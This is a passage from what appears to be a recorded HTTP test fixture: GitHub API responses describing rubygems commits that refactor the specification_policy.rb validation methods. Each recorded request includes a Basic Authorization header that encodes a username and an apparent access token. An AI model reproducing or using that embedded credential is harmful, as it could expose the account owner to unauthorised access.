epo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7","url":"https://api.github.com/repos/rubygems/rubygems/commits/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7","html_url":"https://github.com/rubygems/rubygems/commit/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7"}],"stats":{"total":20,"additions":14,"deletions":6},"files":[{"sha":"977d3259d40e1232bdb1f1f7354a8bb64a59de04","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":14,"deletions":6,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/c20a4919e012307be50700a4c3b7fef01840bc4b/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c20a4919e012307be50700a4c3b7fef01840bc4b/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=c20a4919e012307be50700a4c3b7fef01840bc4b","patch":"@@ -348,8 +348,7 @@ def validate_lazy_metadata\n \n def validate_values\n %w[author homepage summary files].each do |attribute|\n- value = self.send attribute\n- warning(\"no #{attribute} specified\") if value.nil? || value.empty?\n+ validate_attribute_present(attribute)\n end\n \n if description == summary then\n@@ -360,14 +359,23 @@ def validate_values\n warning \"deprecated autorequire specified\" if autorequire\n \n executables.each do |executable|\n- executable_path = File.join(bindir, executable)\n- shebang = File.read(executable_path, 2) == ''#!''\n-\n- warning \"#{executable_path} is missing #! line\" unless shebang\n+ validate_shebang_line_in(executable)\n end\n \n files.select { |f| File.symlink?(f) }.each do |file|\n warning \"#{file} is a symlink, which is not supported on all platforms\"\n end\n end\n+\n+ def validate_attribute_present(attribute)\n+ value = self.send attribute\n+ warning(\"no #{attribute} specified\") if value.nil? || value.empty?\n+ end\n+\n+ def validate_shebang_line_in(executable)\n+ executable_path = File.join(bindir, executable)\n+ shebang = File.read(executable_path, 2) == ''#!''\n+ return if shebang\n+ warning \"#{executable_path} is missing #! line\"\n+ end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:49 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4534' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9291025bccaeb1fb213f97f554e1684e" Last-Modified: - Mon, 27 Nov 2017 20:59:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047544' X-Github-Request-Id: - C4D2:4D95:F47C2C:1C8334C:5A50E465 body: encoding: ASCII-8BIT string: '{"sha":"febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T20:59:17Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T20:59:17Z"},"message":"SpecificationPolicy: Use early returns","tree":{"sha":"f26d3685843b9bfdb734b2c25811155d0eba3790","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f26d3685843b9bfdb734b2c25811155d0eba3790"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7","html_url":"https://github.com/rubygems/rubygems/commit/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"63428ab6064474f5b7de9f4bd0e8968467a07031","url":"https://api.github.com/repos/rubygems/rubygems/commits/63428ab6064474f5b7de9f4bd0e8968467a07031","html_url":"https://github.com/rubygems/rubygems/commit/63428ab6064474f5b7de9f4bd0e8968467a07031"}],"stats":{"total":49,"additions":27,"deletions":22},"files":[{"sha":"a3b3d6bc761fff43324b48e550b9d001ea8bfaa1","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":27,"deletions":22,"changes":49,"blob_url":"https://github.com/rubygems/rubygems/blob/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=febbbd6f09ac6d6f551f87df5cc5af93d4ab42e7","patch":"@@ -198,10 +198,11 @@ def validate_nil_attributes\n end\n \n def validate_rubygems_version\n- if packaging && rubygems_version != Gem::VERSION then\n- raise Gem::InvalidSpecificationException,\n- \"expected RubyGems version #{Gem::VERSION}, was #{rubygems_version}\"\n- end\n+ return unless packaging\n+ return if rubygems_version == Gem::VERSION\n+\n+ raise Gem::InvalidSpecificationException,\n+ \"expected RubyGems version #{Gem::VERSION}, was #{rubygems_version}\"\n end\n \n def validate_required_attributes\n@@ -227,16 +228,17 @@ def validate_name\n end\n \n def validate_require_paths\n- if raw_require_paths.empty? then\n- raise Gem::InvalidSpecificationException,\n- ''specification must have at least one require_path''\n- end\n+ return unless raw_require_paths.empty?\n+\n+ raise Gem::InvalidSpecificationException,\n+ ''specification must have at least one require_path''\n end\n \n def validate_non_files\n+ return unless packaging\n non_files = files.reject {|x| File.file?(x) || File.symlink?(x)}\n \n- unless not packaging or non_files.empty? then\n+ unless non_files.empty? then\n raise Gem::InvalidSpecificationException,\n \"[\\\"#{non_files.join \"\\\", \\\"\"}\\\"] are not files\"\n end\n@@ -267,18 +269,22 @@ def validate_platform\n \n def validate_array_attributes\n Gem::Specification.array_attributes.each do |field|\n- val = self.send(field)\n- klass = case field\n- when :dependencies then\n- Gem::Dependency\n- else\n- String\n- end\n-\n- unless Array === val and val.all? {|x| x.kind_of?(klass)} then\n- raise(Gem::InvalidSpecificationException,\n- \"#{field} must be an Array of #{klass}\")\n- end\n+ validate_array_attribute(field)\n+ end\n+ end\n+\n+ def validate_array_attribute(field)\n+ val = self.send(field)\n+ klass = case field\n+ when :dependencies then\n+ Gem::Dependency\n+ else\n+ String\n+ end\n+\n+ unless Array === val and val.all? {|x| x.kind_of?(klass)} then\n+ raise(Gem::InvalidSpecificationException,\n+ \"#{field} must be an Array of #{klass}\")\n end\n end\n \n@@ -365,4 +371,3 @@ def validate_values\n end\n end\n end\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:49 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/63428ab6064474f5b7de9f4bd0e8968467a07031 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4533' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7a93962be90b136ab9e710af369734b1" Last-Modified: - Mon, 27 Nov 2017 20:50:45 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045299' X-Github-Request-Id: - A204:4D96:971569:13A3593:5A50E465 body: encoding: ASCII-8BIT string: '{"sha":"63428ab6064474f5b7de9f4bd0e8968467a07031","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T20:50:45Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T20:50:45Z"},"message":"SpecificationPolicy: Use class name instead of __getobj__.class","tree":{"sha":"268d2a435c17496d2cefb774a369e7ac93f5bc05","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/268d2a435c17496d2cefb774a369e7ac93f5bc05"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/63428ab6064474f5b7de9f4bd0e8968467a07031","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/63428ab6064474f5b7de9f4bd0e8968467a07031","html_url":"https://github.com/rubygems/rubygems/commit/63428ab6064474f5b7de9f4bd0e8968467a07031","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/63428ab6064474f5b7de9f4bd0e8968467a07031/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"714732775b63f4c54289a112001e414aa7fe5fa0","url":"https://api.github.com/repos/rubygems/rubygems/commits/714732775b63f4c54289a112001e414aa7fe5fa0","html_url":"https://github.com/rubygems/rubygems/commit/714732775b63f4c54289a112001e414aa7fe5fa0"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"3c4a81811cb447cf58ec4cf1d63e8492a4dea4a6","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/63428ab6064474f5b7de9f4bd0e8968467a07031/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/63428ab6064474f5b7de9f4bd0e8968467a07031/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=63428ab6064474f5b7de9f4bd0e8968467a07031","patch":"@@ -189,7 +189,7 @@ def validate_permissions\n private\n \n def validate_nil_attributes\n- nil_attributes = __getobj__.class.non_nil_attributes.select do |attrname|\n+ nil_attributes = Gem::Specification.non_nil_attributes.select do |attrname|\n __getobj__.instance_variable_get(\"@#{attrname}\").nil?\n end\n return if nil_attributes.empty?\n@@ -205,7 +205,7 @@ def validate_rubygems_version\n end\n \n def validate_required_attributes\n- __getobj__.class.required_attributes.each do |symbol|\n+ Gem::Specification.required_attributes.each do |symbol|\n unless send symbol then\n raise Gem::InvalidSpecificationException,\n \"missing value for attribute #{symbol}\"\n@@ -266,7 +266,7 @@ def validate_platform\n end\n \n def validate_array_attributes\n- __getobj__.class.array_attributes.each do |field|\n+ Gem::Specification.array_attributes.each do |field|\n val = self.send(field)\n klass = case field\n when :dependencies then"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:49 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/714732775b63f4c54289a112001e414aa7fe5fa0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4532' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4829ab146197aa87d6747084a3be2a3d" Last-Modified: - Mon, 27 Nov 2017 20:45:41 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042092' X-Github-Request-Id: - A206:4D95:F47C3B:1C8336B:5A50E465 body: encoding: ASCII-8BIT string: '{"sha":"714732775b63f4c54289a112001e414aa7fe5fa0","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T20:45:09Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-27T20:45:41Z"},"message":"SpecificationPolicy: style conformance","tree":{"sha":"59c447172d3bd3231872334504f60a9606235ee4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/59c447172d3bd3231872334504f60a9606235ee4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/714732775b63f4c54289a112001e414aa7fe5fa0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/714732775b63f4c54289a112001e414aa7fe5fa0","html_url":"https://github.com/rubygems/rubygems/commit/714732775b63f4c54289a112001e414aa7fe5fa0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/714732775b63f4c54289a112001e414aa7fe5fa0/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"51568cf1e7041916096a1bf73f83a2e8feb7e71f","url":"https://api.github.com/repos/rubygems/rubygems/commits/51568cf1e7041916096a1bf73f83a2e8feb7e71f","html_url":"https://github.com/rubygems/rubygems/commit/51568cf1e7041916096a1bf73f83a2e8feb7e71f"}],"stats":{"total":79,"additions":39,"deletions":40},"files":[{"sha":"d6880ff739a0507127f78a957d866799eb94d49e","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":39,"deletions":40,"changes":79,"blob_url":"https://github.com/rubygems/rubygems/blob/714732775b63f4c54289a112001e414aa7fe5fa0/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/714732775b63f4c54289a112001e414aa7fe5fa0/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=714732775b63f4c54289a112001e414aa7fe5fa0","patch":"@@ -44,7 +44,7 @@ def call\n end\n \n def validate_metadata\n- unless Hash === metadata\n+ unless Hash === metadata then\n raise Gem::InvalidSpecificationException,\n ''metadata must be a hash''\n end\n@@ -61,28 +61,28 @@ def validate_metadata\n ]\n \n metadata.each do|key, value|\n- if !key.kind_of?(String)\n+ if !key.kind_of?(String) then\n raise Gem::InvalidSpecificationException,\n \"metadata keys must be a String\"\n end\n \n- if key.size > 128\n+ if key.size > 128 then\n raise Gem::InvalidSpecificationException,\n \"metadata key too large (#{key.size} > 128)\"\n end\n \n- if !value.kind_of?(String)\n+ if !value.kind_of?(String) then\n raise Gem::InvalidSpecificationException,\n \"metadata values must be a String\"\n end\n \n- if value.size > 1024\n+ if value.size > 1024 then\n raise Gem::InvalidSpecificationException,\n \"metadata value too large (#{value.size} > 1024)\"\n end\n \n- if link_keys.include? key\n- if value !~ url_validation_regex\n+ if link_keys.include? key then\n+ if value !~ url_validation_regex then\n raise Gem::InvalidSpecificationException,\n \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n end\n@@ -159,10 +159,10 @@ def validate_dependencies # :nodoc:\n WARNING\n end\n end\n- if error_messages.any?\n+ if error_messages.any? then\n raise Gem::InvalidSpecificationException, error_messages.join\n end\n- if warning_messages.any?\n+ if warning_messages.any? then\n warning_messages.each { |warning_message| warning warning_message }\n end\n end\n@@ -198,36 +198,36 @@ def validate_nil_attributes\n end\n \n def validate_rubygems_version\n- if packaging && rubygems_version != Gem::VERSION\n+ if packaging && rubygems_version != Gem::VERSION then\n raise Gem::InvalidSpecificationException,\n \"expected RubyGems version #{Gem::VERSION}, was #{rubygems_version}\"\n end\n end\n \n def validate_required_attributes\n __getobj__.class.required_attributes.each do |symbol|\n- unless send symbol\n+ unless send symbol then\n raise Gem::InvalidSpecificationException,\n \"missing value for attribute #{symbol}\"\n end\n end\n end\n \n def validate_name\n- if !name.is_a?(String)\n+ if !name.is_a?(String) then\n raise Gem::InvalidSpecificationException,\n \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n- elsif name !~ /[a-zA-Z]/\n+ elsif name !~ /[a-zA-Z]/ then\n raise Gem::InvalidSpecificationException,\n \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n- elsif name !~ VALID_NAME_PATTERN\n+ elsif name !~ VALID_NAME_PATTERN then\n raise Gem::InvalidSpecificationException,\n \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n end\n end\n \n def validate_require_paths\n- if raw_require_paths.empty?\n+ if raw_require_paths.empty? then\n raise Gem::InvalidSpecificationException,\n ''specification must have at least one require_path''\n end\n@@ -236,24 +236,24 @@ def validate_require_paths\n def validate_non_files\n non_files = files.reject {|x| File.file?(x) || File.symlink?(x)}\n \n- unless not packaging or non_files.empty?\n+ unless not packaging or non_files.empty? then\n raise Gem::InvalidSpecificationException,\n \"[\\\"#{non_files.join \"\\\", \\\"\"}\\\"] are not files\"\n end\n end\n \n def validate_self_inclusion_in_files_list\n- if files.include?(file_name)\n- raise Gem::InvalidSpecificationException,\n- \"#{full_name} contains itself (#{file_name}), check your files list\"\n- end\n+ return unless files.include?(file_name)\n+ \n+ raise Gem::InvalidSpecificationException,\n+ \"#{full_name} contains itself (#{file_name}), check your files list\"\n end\n \n def validate_specification_version\n- unless specification_version.is_a?(Integer)\n- raise Gem::InvalidSpecificationException,\n- ''specification_version must be an Integer (did you mean version?)''\n- end\n+ return if specification_version.is_a?(Integer)\n+ \n+ raise Gem::InvalidSpecificationException,\n+ ''specification_version must be an Integer (did you mean version?)''\n end\n \n def validate_platform\n@@ -269,34 +269,34 @@ def validate_array_attributes\n __getobj__.class.array_attributes.each do |field|\n val = self.send(field)\n klass = case field\n- when :dependencies\n+ when :dependencies then\n Gem::Dependency\n else\n String\n end\n \n- unless Array === val and val.all? {|x| x.kind_of?(klass)}\n+ unless Array === val and val.all? {|x| x.kind_of?(klass)} then\n raise(Gem::InvalidSpecificationException,\n \"#{field} must be an Array of #{klass}\")\n end\n end\n end\n \n def validate_authors_field\n- [:authors].each do |field|\n- val = self.send(field)\n- raise Gem::InvalidSpecificationException, \"#{field} may not be empty\" if val.empty?\n- end\n+ return unless authors.empty?\n+\n+ raise Gem::InvalidSpecificationException,\n+ \"authors may not be empty\"\n end\n \n def validate_licenses\n licenses.each { |license|\n- if license.length > 64\n+ if license.length > 64 then\n raise Gem::InvalidSpecificationException,\n \"each license must be 64 characters or less\"\n end\n \n- if !Gem::Licenses.match?(license)\n+ if !Gem::Licenses.match?(license) then\n suggestions = Gem::Licenses.suggestions(license)\n message = <<-warning\n license value ''#{license}'' is invalid. Use a license identifier from\n@@ -317,24 +317,24 @@ def validate_lazy_metadata\n lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n lazy_pattern = /FI XME|TO DO/x\n \n- unless authors.grep(lazy_pattern).empty?\n+ unless authors.grep(lazy_pattern).empty? then\n raise Gem::InvalidSpecificationException, \"#{lazy} is not an author\"\n end\n \n- unless Array(email).grep(lazy_pattern).empty?\n+ unless Array(email).grep(lazy_pattern).empty? then\n raise Gem::InvalidSpecificationException, \"#{lazy} is not an email\"\n end\n \n- if description =~ lazy_pattern\n+ if description =~ lazy_pattern then\n raise Gem::InvalidSpecificationException, \"#{lazy} is not a description\"\n end\n \n- if summary =~ lazy_pattern\n+ if summary =~ lazy_pattern then\n raise Gem::InvalidSpecificationException, \"#{lazy} is not a summary\"\n end\n \n if homepage and not homepage.empty? and\n- homepage !~ /\\A[a-z][a-z\\d+.-]*:/i\n+ homepage !~ /\\A[a-z][a-z\\d+.-]*:/i then\n raise Gem::InvalidSpecificationException,\n \"\\\"#{homepage}\\\" is not a URI\"\n end\n@@ -346,7 +346,7 @@ def validate_values\n warning(\"no #{attribute} specified\") if value.nil? || value.empty?\n end\n \n- if description == summary\n+ if description == summary then\n warning \"description and summary are identical\"\n end\n \n@@ -360,8 +360,7 @@ def validate_values\n warning \"#{executable_path} is missing #! line\" unless shebang\n end\n \n- files.each do |file|\n- next unless File.symlink?(file)\n+ files.select { |f| File.symlink?(f) }.each do |file|\n warning \"#{file} is a symlink, which is not supported on all platforms\"\n end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:49 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d57c530ec72b7024fe0c1a160f853794ea14a45c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4531' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"35427c55daa01d16a1832b069f6b5314" Last-Modified: - Mon, 27 Nov 2017 11:51:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.037340' X-Github-Request-Id: - A208:4D96:97156F:13A359E:5A50E465 body: encoding: ASCII-8BIT string: '{"sha":"d57c530ec72b7024fe0c1a160f853794ea14a45c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:51:34Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-27T11:51:34Z"},"message":"Auto merge of #2099 - tjouan:commands-setup-regenerate_binstubs, r=hsbt\n\nUse setup command --regenerate-binstubs option flag\n\nTest setup command binstubs regeneration\n----------------------------------------\n\n Since 909b5fb, executable wrappers are regenerated using pristine\ncommand if any gem are installed. New test is inspired by those for\n`Gem::Commands::PristineCommand`.\n\nFix setup command --regenerate-binstubs option flag\n---------------------------------------------------\n\n `--[no-]regenerate-binstubs` option 